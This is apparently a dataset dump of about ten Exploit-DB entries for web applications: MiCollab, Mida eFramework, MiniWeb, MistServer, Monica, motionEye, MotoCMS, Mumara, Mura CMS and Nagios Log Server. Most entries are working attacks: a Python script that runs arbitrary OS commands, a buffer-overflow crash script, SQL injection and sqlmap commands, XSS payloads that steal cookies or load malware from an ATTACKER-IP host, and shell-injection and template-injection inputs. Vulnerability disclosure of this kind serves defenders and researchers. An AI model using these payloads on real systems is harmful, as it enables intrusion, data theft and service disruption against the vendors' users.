deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39597
Description: MiCollab 7.0 - SQL Injection
Type: webapps
Platform: multiple
Date: 2016-03-23
Author: Goran Tuzovic

Exploit:
================
Exploit Title: SQL Injection Vulnerability in MiCollab v7.0
Date: 3-22-2016
Vendor Homepage: http://www.mitel.com
Vendor: Mitel
Software: MiCollab End User Portal
Version: v7.0 
Advisory: http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001
CVSS: 7.5


Product Summary
================
Mitel MiCollab delivers unified messaging, mobility, teleworking, and audio, web and video conferencing services tailored to the needs of today's mobile workforce. (http://www.mitel.com/products/collaboration-software/mitel-micollab)


Vulnerabilities
================
A SQL injection vulnerability has been identified in MiCollab 7.0 which, if successfully exploited, could allow an attacker to access sensitive information in the MiCollab database. (http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001)

The vulnerability is due to the unsanitized 'language' parameter in the 'mywindow' and 'PortletSelector' scripts.

 
Proof of concept
================
http://server/portal/portal/portal/portal/mywindow?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--
http://server/portal/portal/portal/PortletSelector?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--


Timeline
================
2016-02-01: Vendor advisory published
2016-03-22: PoC details published


Discovered by
================
Goran Tuzovic -- Goran [at] illumant.com


References
================
1. http://www.mitel.com/products/collaboration-software/mitel-micollab
2. http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001


About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/
Exploit-DB #48768
Description: Mida eFramework 2.9.0 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2020-08-27
Author: elbae

Exploit:
# Exploit Title: Mida eFramework 2.9.0 - Remote Code Execution
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15920


#! /usr/bin/python3
# -*- coding: utf-8 -*-

import argparse
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def print_disclaimer():
   print("""
    ---------------------
    Disclaimer:
    1) For testing purpose only.
    2) Do not attack production environments.
    3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
    4) The author is not responsible for any possible harm caused by this
material.
    ---------------------""")


def print_info():
   print("""
[*] PoC exploit for Mida eFramework <= 2.9.0 PDC (CVE-2020-15920)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] Vulnerability: OS Command Injection Remote Code Execution Vulnerability
(RCE) in PDC/ajaxreq.php
    Version\t< 2.9.0\t./CVE-2020-15920
http://192.168.1.60:8090/PDC/ajaxreq.php id
    Version\t2.9.0\t./CVE-2020-15920 https://192.168.1.60/PDC/ajaxreq.php
id """)

def pwn(url,cmd):
   running = """
[*] Target URL: {0}
[*] Command: {1}
   """
   print(running.format(url,cmd))
   data = {
      "DIAGNOSIS":"PING",
      "PARAM":"127.0.0.1 -c 0; {0}".format(cmd)
   }
   r = requests.post(url,data=data,verify=False)
   line = "[*]"+"-"*20+" Output " + "-" *20 +"[*]"
   pretty_output = r.text.replace('<br>','\n')
   print(line+"\n{0}\n".format(pretty_output)+line)

def main():
   print_info()
   print_disclaimer()
   parser = argparse.ArgumentParser()
   parser.add_argument("target", type=str, help="the complete target URL")
   parser.add_argument("cmd", type=str, help="the command you want to run")
   args = parser.parse_args()
   pwn(args.target, args.cmd)

if __name__ == '__main__':
   main()
Exploit-DB #49247
Description: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: securityforeveryone.com

Exploit:
# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)
# Date: 13.12.2020
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://sourceforge.net/projects/miniweb/
# Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download
# Version: 0.8.19
# Tested on: Win7 x86
# Researchers: Security For Everyone Team - https://securityforeveryone.com

'''
Description

 MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the
 first parameter in a POST request.

Exploitation

 The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1&param_name2=param_data2
 if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash.

About Security For Everyone Team

We are a team that has been working on cyber security in the industry for a long time. 
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list

'''

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) != 2 :
	print "[+] Usage : python exploit.py [VICTIM_IP]"
	exit(0)

TCP_IP = sys.argv[1]
TCP_PORT = 8000

xx = "A"*2038 #4085

http_req = "POST /index.html HTTP/1.1\r\n"
http_req += "Host: 192.168.231.140\r\n"
http_req += "From: header-data\r\n"
http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
http_req += xx + "=param_data1&param_name2=param_data2"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
print "[+] Sending exploit payload..."
s.send(http_req)
s.close()
Exploit-DB #43205
Description: MistServer 2.12 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-12-01
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka Hyp3rlinX)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. 



References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #49582
Description: Monica 2.19.1 - 'last_name' Stored XSS
Type: webapps
Platform: multiple
Date: 2021-02-23
Author: BouSalman

Exploit:
# Exploit Title: Monica 2.19.1 - 'last_name' Stored XSS
# Date: 22-02-2021
# Exploit Author: BouSalman
# Vendor Homepage: https://www.monicahq.com/
# Software Link: https://github.com/monicahq/monica/releases
# Version: Monica 2.19.1
# Tested on: Ubuntu 18.04
# CVE : CVE-2021-27370

POST /people HTTP/1.1
Host: 192.168.99.162
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
Origin: http://192.168.99.162
Connection: close
Referer: http://192.168.99.162/people/add
Cookie: remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IjZBQ21CelczS1ZxS1dmMkNxWFBqN1E9PSIsInZhbHVlIjoiME01aDNSS2FHQ1lZdS9KSVlSL1pKdC9qcHRWRDVveWFvb0ZkUFB4cFlaSDhEclB3SG9UQ3BISzVoWFdYQUYrVkdpUVNkRUNlbUxFOTEyOC9Vb1ZaWFZTblpGOWlRVW9PR0FmSVhyL3JwUmgweU9hODlJWU5vNmQ3aDcrT084MjBoQU5Ednh0TWJ6dmxwS2NadFovMEdveko1V0RvbThXT2Jram1JVW5LcXdqUzl4alVBRDFBYXNjSEt3amRxbVFvQ3pMMGJZU2owWTZzWVp1ZURTNUtoRUlJMnVrV3NiVHRNRTU5YysvLzl2Zz0iLCJtYWMiOiI5MTc2NDAwZTY4NjVmZDg3NjM1YjY3NDRiMzFhMmRiYzIwMjFhODU4YWQyOWUwZmQzOTBlY2Y1ZTI0ODdiNzVkIn0%3D; laravel_token=eyJpdiI6InIwQ2RlQW9FRG5lanlOZmlXWXBRVEE9PSIsInZhbHVlIjoiUHhPNmZneXUydGVCZHlVMEI5cHpiTWI2OE5qajN5UVJXUmJHSFV1VGgya2NEbEJ6T3N0QVhKeUZwU0R4a05HWTgwNTNidTk4aGNXc3UzejY4WDJnaUJ0VUp1ekQ5cjVDc0hLSWpGTzc1ZWRRQ05Yem0vK3RZdEpOVHNQeE4rQ1orbXNJTXhWczJnMENYeGp6Q3NnOGU5TXhpZDd1bS9wRlBZS0xsYmpLSXJiMHhSVmU2NnBUMjdYS1RTQmJrNkU4cWNtZGJVdjFpaXp5a2YzdVZsWWxQMjBicDQxUGFjZlhGbmhCOHl2MkVXdzRoalNtbE9xL010clpZMGJNVmVQNWUzQlpsRFVKamlWQ2Jydk9sZWg3cHNKWVIvRW92alp0YURJcllXa08rTjA4Y2lvVzNHTXBrem11Q21xaW92cEwiLCJtYWMiOiI1YjM5NzViODhjNTk5MWUzNWFjZDg0ZWZmNjk1NjE3MzhhN2M0NGFjNWE3MzMyMGFhNTI2ZjgxMjE4OTRjZDg4In0%3D; XSRF-TOKEN=eyJpdiI6IkZFY1FLVEJFRXJMOWh6Vll1SW51akE9PSIsInZhbHVlIjoiRTVLRFZnOEovNk9XeFB2bXFQZnFlM0FxRU9QMVRxaHRhS3RzOHNpWm45K0xXV1FsbWhzV0RxUWd6bStxVXFBTHF1WlkrSklnSXoxbkFXK1JNcURhUHp6eTFOUHdLclFkTTEvUFhtTDgzVHA2RElFNnVuOWVyRGxCSGJmdzhJOXciLCJtYWMiOiIxOWNlMjkxMjM5ZTlmMDFiZjhiM2VlZjZjZmNmMmFmZDA4MzcyZjc3Yzg2MmQ2MWIwNTY2OTZlNjQyZDkzMjA0In0%3D; laravel_session=eyJpdiI6InBtUThtUFE1RzdvbW40ay8wdWJraXc9PSIsInZhbHVlIjoiS1hoVlJoNzFrYlpBUGRTL2V0YzVDRlR6dHl6NE12NjFxVTEvbXQwYTJnRUwyY3VQc2hOeWlkbUdyeEx5aDBnYlJER1BnbW52RXR0QWs1ZG00eWg0U2JNb3dIRTQ0aU9HK0JnTzE5eXQwUGlzbDNsbVFVa3RabWVQVzF4OXJsUTMiLCJtYWMiOiI3YmQwZDFkYjAwMzdlZTllODAzYjZmNzQ2YWI5NTMzMDY0ZWIzMWIyOWI4MjM4ODMzMDdhNjc2YTE4ZDViZDg0In0%3D
Upgrade-Insecure-Requests: 1

_token=afJRD6VqgCxIze3tGcCqzyeb3YaFka3fvjqV9YOx&first_name=XSS+POC&middle_name=&last_name=%7B%7B+constructor.constructor%28%22alert%28document.cookie%29%22%29%28%29+%7D%7D&nickname=&gender=&save=true
Exploit-DB #52481
Description: motionEye 0.43.1b4 - RCE
Type: webapps
Platform: multiple
Date: 2026-02-11
Author: prabhat

Exploit:
# Exploit Title: motionEye 0.43.1b4 - RCE 
# Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC)
# Filename: motioneye_rce_poc_edb.txt
# Author: prabhatverma47
# Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11
# Affected Versions: motionEye <= 0.43.1b4
# Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge
# CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 
#
# Short description:
# Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation
# function. Arbitrary values (including shell interpolation syntax) can be saved into the
# motion config. When motion is restarted, the motion process interprets the config and
# can execute shell syntax embedded inside configuration values such as "image_file_name".
#
# Safe PoC: creates a harmless file /tmp/test inside container (non-destructive).
#
# Environment setup:
# 1) Start the motionEye docker image:
#    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
#
# 2) Verify version in logs:
#    docker logs motioneye | grep "motionEye server"
#    Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable)
#
# 3) Access web UI:
#    Open http://127.0.0.1:9999
#    Login: admin (blank password in default/edge image)
#
# Reproduction (manual + safe PoC):
# A) Bypass client-side validation in browser console:
#    1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I).
#    2) In the Console tab paste and run:
#
#       configUiValid = function() { return true; };
#
#    This forces the UI validation function to always return true and allows any value
#    to be accepted by the UI forms.
#
# B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply):
#    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
#
#    After applying, the PoC triggers creation of /tmp/test inside the motionEye container
#    (the "touch" is executed when motion re-reads the config / motionctl restarts).
#
# C) Verify from host:
#    docker exec -it motioneye ls -la /tmp | grep test
#
# Expected result:
#    /tmp/test exists (created with the permissions of the motion process).
#
# Notes / root cause:
# - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename),
#   which are later parsed by motion and interpreted as filenames – shell meta is executed.
# - Fix: sanitize/whitelist filename characters (example sanitization provided in README).
#
# References:
# - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
# - motionEye upstream: https://github.com/motioneye-project/motioneye
# - OSV/GHSA advisories referencing this issue (published May–Oct 2025)
# - NVD entries: CVE-2025-60787
Exploit-DB #51499
Description: MotoCMS Version 3.4.3 - Server-Side Template Injection (SSTI)
Type: webapps
Platform: multiple
Date: 2023-05-31
Author: tmrswrr

Exploit:
# Title: MotoCMS Version 3.4.3 - Server-Side Template Injection (SSTI)
# Author: tmrswrr
# Date: 31/05/2023
# Vendor: https://www.motocms.com
# Link: https://www.motocms.com/website-templates/demo/189526.html
# Vulnerable Version(s): MotoCMS  3.0.27


## Description
MotoCMS Version 3.4.3 Store Category Template was discovered to contain a Server-Side Template
Injection (SSTI) vulnerability via the keyword parameter.

## Steps to Reproduce
1. Open the target URL: https://template189526.motopreview.com/
2. Write payload here : https://template189526.motopreview.com/store/category/search/?page=1&limit=36&keyword={{7*7}}
3. You will be see result is 49



Vuln Url : https://template189526.motopreview.com/store/category/search/?page=1&limit=36&keyword={{7*7}}


GET /store/category/search/?page=&limit=&keyword={{7*7}} HTTP/1.1
Host: template189526.motopreview.com
Cookie: PHPSESSID=7c0qgdvsehaf1a2do6s0bcl4p0; 9b7029e0bd3be0d41ebefd47d9f5ae46_session-started=[PII_REDACTED]39
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://template189526.motopreview.com/store/category/search/?keyword=%7B%7B3*3%7D%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Exploit-DB #50518
Description: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2021-11-12
Author: Shain Lakin

Exploit:
# Exploit Title: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
# Date: 2021-11-11
# Exploit Author: (v0yager) Shain Lakin
# Vendor Homepage: https://mumara.com
# Version: <= 2.93
# Tested on: CentOS 7

-==== Vulnerability ====-

An SQL injection vulnerability in license_update.php in Mumara Classic
through 2.93 allows a remote unauthenticated attacker to execute
arbitrary SQL commands via the license parameter.

-==== POC ====-

Using SQLMap:

sqlmap -u https://target/license_update.php --method POST --data "license=MUMARA-Delux-01x84ndsa40&install=install" -p license --cookie="PHPSESSID=any32gbaer3jaeif108fjci9x" --dbms=mysql
Exploit-DB #9898
Description: Mura CMS 5.1 - Root Path Disclosure
Type: webapps
Platform: multiple
Date: 2009-10-29
Author: Vladimir Vorontsov

Exploit:
[ONSEC-09-020] Mura CMS root folder disclosure 
Objective: Mura CMS <= 5.1 
Type: Disclosure of ways 
Threat: Medium 
Date Discovered: 22.09.2009 
Date of notification Developer: 22.09.2009 
Released corrections: 
Author: Vladimir Vorontsov 
OnSec Russian Security Group (onsec [dot] ru) 
Description: content management system Mura CMS found a number of
information disclosure vulnerability. 
An attacker can learn the version and type of database driver, database
name, structure and format of some DBMS tables, column names, their type
and size information about the Web server and virtual machine, Java. The
vulnerability exists due to the error message when you try to write in the
database values is not suitable for the format. 

Implementation: 

http://localhost:8888/go/default/blog/blog-post-with-flash-video/ #
comments 

Enter the "Name" value is greater than 50 characters and submit the form.
============================================================================
[ONSEC-09-019] Mura CMS XSS 
Objective: Mura CMS <= 5.1 
Type: Cross-site scripting 
Threat: Medium 
Date Discovered: 22.09.2009 
Date of notification Developer: 22.09.2009 
Released corrections: 
Author: Vladimir Vorontsov 
OnSec Russian Security Group (onsec [dot] ru) 
Description: In the western system of site management Mura CMS found a
number of cross-site scripting vulnerabilities reflected and stored type. 

Implementation: 

1. There is no filtering in the parameter link. Thus, it is possible to
attack the reflected type. 

http://localhost:8888/default/includes/display_objects/sendtofriend/index.cfm?link
=% 22% 3E% 3Cscript% 3Ealert ( "ONsec.ru% 20russian% 20security% 20team");%
3C/script% 3E % 3Cdiv & siteid = default 

2. No filtering parameter returnURL available on many pages, including: 

http://localhost:8888/go/default/blog/?display=editProfile&nocache=1&returnURL
=% 22% 3E% 3Cscript% 3Ealert ( "ONsec.ru% 20Russian% 20security%
20research% 20team% 5Cn% 5Cn"% 2Bdocument. cookie);% 3C/script% 3E 

3. Stored vulnerability detected by adding entries to blog 

On 

http://localhost:8888/go/default/blog/blog-post-with-flash-video/?nocache=1


enter a value like this 

"> <script> alert (" ONsec.ru ");</ script> 

and submit the form
-- 
=============================================================================
Links on Russian:
http://onsec.ru/vuln?id=13
http://onsec.ru/vuln?id=14
-----------------------------------------------------------------
Best regards!
Vladimir Vorontsov, security expert.
ONsec: turn on security

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Exploit-DB #48772
Description: Nagios Log Server 2.1.6 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-08-28
Author: Jinson Varghese Behanan

Exploit:
# Exploit Title: Nagios Log Server 2.1.6 - Persistent Cross-Site Scripting
# Date: 2020-08-07
# Vendor Homepage: https://www.nagios.com/products/nagios-log-server/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-log-server/change-log/
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/stored-xss-vulnerability-nagios-log-server/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 2.1.6 and below
# CVE : CVE-2020-16157

1. Description

Nagios Log Server is a popular Centralized Log Management, Monitoring, and Analysis software that allows organizations to view, sort, and configure logs. Version 2.1.6 of the application was found to be vulnerable to Stored XSS. An attacker (in this case, an authenticated regular user) can use this vulnerability to execute malicious JavaScript aimed to steal cookies, redirect users, perform arbitrary actions on the victim’s (in this case, an admin’s) behalf, logging their keystroke and more.

2. Vulnerability

The "Full Name" and "Username" fields in the /profile page or /admin/users/create page are vulnerable to Stored XSS. Once a payload is saved in one of these fields, navigate to the Alerting page (/alerts) and create a new alert and select Email Users as the Notification Method. As the user list is shown, it can be seen that the payload gets executed.

3. Timeline

Vulnerability reported to the Nagios team – July 08, 2020
Nagios Log Server 2.1.7 containing the fix to the vulnerability released – July 28, 2020